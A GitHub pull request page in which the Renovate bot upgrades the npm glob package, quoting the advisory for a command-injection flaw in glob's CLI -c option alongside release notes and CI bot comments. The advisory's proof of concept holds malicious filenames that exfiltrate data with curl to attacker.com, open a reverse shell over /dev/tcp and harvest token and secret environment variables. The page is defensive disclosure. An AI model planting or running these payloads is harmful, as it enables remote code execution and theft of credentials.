Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 18, 2025

This PR contains the following updates:

Package Change Age Confidence
glob ^8.0.3^10.0.0 age confidence
glob ^8.0.3^10.5.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-64756

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

Release Notes

isaacs/node-glob (glob)

v10.5.0

Compare Source

v10.4.5

Compare Source

v10.4.4

Compare Source

v10.4.3

Compare Source

v10.4.2

Compare Source

v10.4.1

Compare Source

v10.4.0

Compare Source

v10.3.16

Compare Source

v10.3.15

Compare Source

v10.3.14

Compare Source

v10.3.13

Compare Source

v10.3.12

Compare Source

v10.3.11

Compare Source

v10.3.10

Compare Source

v10.3.9

Compare Source

v10.3.8

Compare Source

v10.3.7

Compare Source

v10.3.6

Compare Source

v10.3.5

Compare Source

v10.3.4

Compare Source

v10.3.3

Compare Source

v10.3.2

Compare Source

v10.3.1

Compare Source

v10.3.0

Compare Source

v10.2.7

Compare Source

v10.2.6

Compare Source

v10.2.5

Compare Source

v10.2.4

Compare Source

v10.2.3

Compare Source

v10.2.2

Compare Source

v10.2.1

Compare Source

v10.2.0

Compare Source

v10.1.0

Compare Source

v10.0.0

Compare Source

  • No default exports, only named exports

v9.3.5

Compare Source

v9.3.4

Compare Source

v9.3.3

Compare Source

  • Upgraded minimatch to v8, adding support for any degree of
    nested extglob patterns.

v9.3.2

Compare Source

v9.3.1

Compare Source

v9.3.0

Compare Source

v9.2.1

Compare Source

v9.2.0

Compare Source

v9.1.2

Compare Source

v9.1.1

Compare Source

v9.1.0

Compare Source

v9.0.2

Compare Source

v9.0.1

Compare Source

v9.0.0

Compare Source


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@netlify
Copy link

netlify bot commented Nov 18, 2025

Deploy Preview for paragon-openedx-v23 ready!

Name Link
🔨 Latest commit 31cf105
🔍 Latest deploy log https://app.netlify.com/projects/paragon-openedx-v23/deploys/6961af91f3153a0007e0987e
😎 Deploy Preview https://deploy-preview-3999--paragon-openedx-v23.netlify.app
📱 Preview on mobile
Toggle QR Code...

QR Code

Use your smartphone camera to open QR code link.

To edit notification comments on pull requests, go to your Netlify project configuration.

@codecov
Copy link

codecov bot commented Nov 18, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 94.39%. Comparing base (dfc69e2) to head (31cf105).

Additional details and impacted files
@@              Coverage Diff              @@
##           release-23.x    #3999   +/-   ##
=============================================
  Coverage         94.39%   94.39%           
=============================================
  Files               242      242           
  Lines              4296     4296           
  Branches           1020     1020           
=============================================
  Hits               4055     4055           
  Misses              237      237           
  Partials              4        4           

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 0325183 to 086271a Compare November 18, 2025 12:56
@renovate renovate bot changed the title fix(deps): update dependency glob to v11 [security] fix(deps): update dependency glob [security] Nov 18, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 086271a to e045b75 Compare November 18, 2025 14:26
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v11 [security] Nov 18, 2025
@renovate renovate bot changed the title fix(deps): update dependency glob to v11 [security] fix(deps): update dependency glob to v11 [security] - autoclosed Nov 19, 2025
@renovate renovate bot closed this Nov 19, 2025
@renovate renovate bot deleted the renovate/npm-glob-vulnerability branch November 19, 2025 01:25
@renovate renovate bot changed the title fix(deps): update dependency glob to v11 [security] - autoclosed fix(deps): update dependency glob to v10 [security] Nov 19, 2025
@renovate renovate bot reopened this Nov 19, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch 3 times, most recently from 7b61d48 to 4f5f018 Compare November 24, 2025 00:21
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Nov 24, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 4f5f018 to 568e977 Compare November 24, 2025 05:24
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Nov 24, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 568e977 to 985c69c Compare November 25, 2025 15:10
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Nov 25, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 985c69c to f3c37df Compare November 25, 2025 18:51
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Nov 25, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from f3c37df to f247e92 Compare December 1, 2025 00:23
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Dec 1, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from f247e92 to ca04027 Compare December 1, 2025 09:58
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 1, 2025
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Dec 3, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch 2 times, most recently from bc0b7c3 to d2b924d Compare December 3, 2025 21:15
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 3, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from d2b924d to 05ec420 Compare December 8, 2025 00:21
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 17, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 34f6ba8 to b792b1a Compare December 18, 2025 15:06
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Dec 18, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from b792b1a to a9f0617 Compare December 18, 2025 15:21
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 18, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from a9f0617 to a786f0c Compare December 22, 2025 00:21
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Dec 22, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from a786f0c to fb3974c Compare December 22, 2025 06:03
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 22, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from fb3974c to 7eccc72 Compare December 30, 2025 12:29
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Dec 30, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 7eccc72 to 1fa1db9 Compare December 30, 2025 14:23
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 30, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 1fa1db9 to 0fe7039 Compare December 31, 2025 14:26
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Dec 31, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 0fe7039 to 68d7d44 Compare December 31, 2025 20:26
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Dec 31, 2025
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 68d7d44 to a08ab79 Compare January 5, 2026 00:22
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Jan 5, 2026
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from a08ab79 to a6f51c4 Compare January 5, 2026 06:03
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Jan 5, 2026
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from a6f51c4 to e3a8eab Compare January 8, 2026 16:59
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Jan 8, 2026
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from e3a8eab to 9c44a3f Compare January 8, 2026 22:39
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Jan 8, 2026
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 9c44a3f to 0aae36a Compare January 9, 2026 22:39
@renovate renovate bot changed the title fix(deps): update dependency glob to v10 [security] fix(deps): update dependency glob [security] Jan 9, 2026
@renovate renovate bot force-pushed the renovate/npm-glob-vulnerability branch from 0aae36a to 31cf105 Compare January 10, 2026 01:46
@renovate renovate bot changed the title fix(deps): update dependency glob [security] fix(deps): update dependency glob to v10 [security] Jan 10, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant